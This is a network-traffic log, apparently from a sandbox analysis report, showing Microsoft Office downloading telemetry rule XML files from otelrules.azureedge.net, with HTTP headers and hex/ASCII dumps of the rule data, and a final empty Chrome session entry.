2024-10-07 06:46:54 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-07 06:46:54 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 4c 44 7a 48 4d 2f 59 39 4e 55 61 4a 46 6b 6a 4e 68 71 69 52 46 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: LDzHM/Y9NUaJFkjNhqiRFg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49719	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:46:55 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:46:55 UTC	540	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:46:55 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public Last-Modified: Fri, 04 Oct 2024 23:21:50 GMT ETag: "0x8DCE4CB535A72FA" x-ms-request-id: 4dad204e-401e-005b-4bf5-169c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064655Z-1657d5bbd48lknvp09v995n79000000002v0000000001aks x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:46:55 UTC	15844	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-10-07 06:46:55 UTC	16384	IN	Data Raw: 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e Data Ascii: "0" /> </L> <R> <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" />
2024-10-07 06:46:55 UTC	16384	IN	Data Raw: 20 20 3c 53 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 53 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 38 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 Data Ascii: <ST> <S T="1" /> </ST></R><$!#>10820v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-781
2024-10-07 06:46:55 UTC	16384	IN	Data Raw: 20 54 3d 22 55 36 34 22 20 49 3d 22 38 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 45 76 65 6e 74 73 5f 41 76 67 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 Data Ascii: T="U64" I="8" O="false" N="Events_Avg"> <S T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32"
2024-10-07 06:46:55 UTC	16384	IN	Data Raw: 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f Data Ascii: "0" O="false" N="Count_CreateCard_ValidPersona_False"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Co
2024-10-07 06:46:55 UTC	16384	IN	Data Raw: 20 20 20 20 3c 53 20 54 3d 22 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a Data Ascii: <S T="31" /> </C> </C> <C T="U32" I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C>
2024-10-07 06:46:55 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 Data Ascii: <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMillisec
2024-10-07 06:46:55 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e Data Ascii: R> <V V="0" T="I32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIn
2024-10-07 06:46:55 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: R> </O> </F> <F T="6"> <O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L>
2024-10-07 06:46:55 UTC	16384	IN	Data Raw: 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c Data Ascii: T="6"> <O T="EQ"> <L> <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.6	49725	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:46:57 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:46:57 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:46:57 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: d4448e94-101e-00a2-2703-179f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064657Z-1657d5bbd48xsz2nuzq4vfrzg800000002vg00000000ghg6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:46:57 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.6	49728	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:46:57 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:46:57 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:46:57 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: b27588a3-a01e-003d-6001-1798d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064657Z-1657d5bbd48tnj6wmberkg2xy8000000032g00000000h7x9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:46:57 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.6	49726	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:46:57 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:46:57 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:46:57 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 8aaf7b13-d01e-0028-46fd-167896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064657Z-1657d5bbd48vlsxxpe15ac3q7n00000002z000000000ea8v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:46:57 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.6	49724	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:46:57 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:46:57 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:46:57 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 4545068c-701e-0050-0e05-176767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064657Z-1657d5bbd487nf59mzf5b3gk8n00000002ng00000000esa8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:46:57 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.6	49727	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:46:57 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:46:57 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:46:57 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: c59bb0f9-701e-0097-2d01-17b8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064657Z-1657d5bbd48xdq5dkwwugdpzr000000003gg000000001hwa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:46:57 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49730	104.21.91.169	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
